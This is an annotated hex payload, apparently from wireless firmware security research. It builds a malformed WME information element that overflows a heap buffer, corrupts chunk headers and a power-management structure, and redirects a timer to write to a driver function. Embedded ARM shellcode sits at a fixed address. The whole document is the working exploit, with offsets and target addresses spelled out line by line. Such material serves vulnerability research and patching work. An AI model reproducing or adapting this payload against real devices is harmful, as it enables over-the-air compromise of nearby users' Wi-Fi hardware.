dd # -0x2
ff # -0x1 : malformed length
0050f2020101000003a4000027a4000042435e0062322f00 # 0x0 (0x217014): original WME IE
0000000000000000000000000000000000000000 # 0x18 (0x21702c): 0x14 filler. This part is overwritten by the WME code.
78000000 # 0x2c (0x217040) : next_chunk.size = 0x78
00000000 # 0x30 (0x217044) : next_chunk.next = 0
41 # 0x34 (0x217048) (0x0): PM mode. change it to an invalid value (0x41) to force pm_2_ret_timer to be cleaned up?
414141414141414141414141414141 # 0x35 (0x217049): 0xf bytes of filler
00000000 # 0x44 (0x217058): 0x10 one of the timers we don't exploit; keep it null to prevent a crash
41414141 # 0x48 (0x21705c): 0x14 whatever
00000000 # 0x4c (0x217060): 0x18 another timer.
4141414141414141414141414141414141414141414141414141414100000000 # 0x50 (0x21705c) 0x1c: more wlc_pm_st_t; 0x3c-0x10-0xc bytes of filler
c8702100 # 0x70 (0x217084) (0x3c): pm_2_ret_timer = &target_timer
4141414141414141 # 0x74 rest of the space is for shellcode.
2de9ff4300f003f80fbc74f7f9ba044b044a1a60044a014b1360704788842400d08a1b0000207047c497230000000000 # 0x7c (0x217090): shellcode entry point.
28000000 # 0xac (0x2170c0): next_chunk.size = 0x28
00000000 # 0xb0 (0x2170c4): next_chunk.next = 0
84b61800 # 0xb4 (0x2170c8): target_timer.next = &next_timer = (address_to_patch - 0x8) = (&dma64_txfast - 0x8) = (0x18b68c - 0x8)
d0702100 # 0xb8 (0x2170cc): target_timer.hrti = &fake_hrti
5e071079 # 0xbc (0x2170d0): target_timer.timeout = value_to_write - *(address_to_patch) | hrti.something (not used)
c8702100 # 0xc0 (0x2170d4): target_timer.func | hrti.timer_list.next = &target_timer (cleared by setting func to zero)
000000000000000000000000000000000000000000000000 # 0xc4 (0x2170d8): unused
24010000 # 0xdc (0x2170f0): next_chunk.size = 0x124
00000000 # 0xe0 (0x217104): next_chunk.next = 0
000000000000000000000000000000000000000000000000000000 # 0xe4 (0x217100): filler
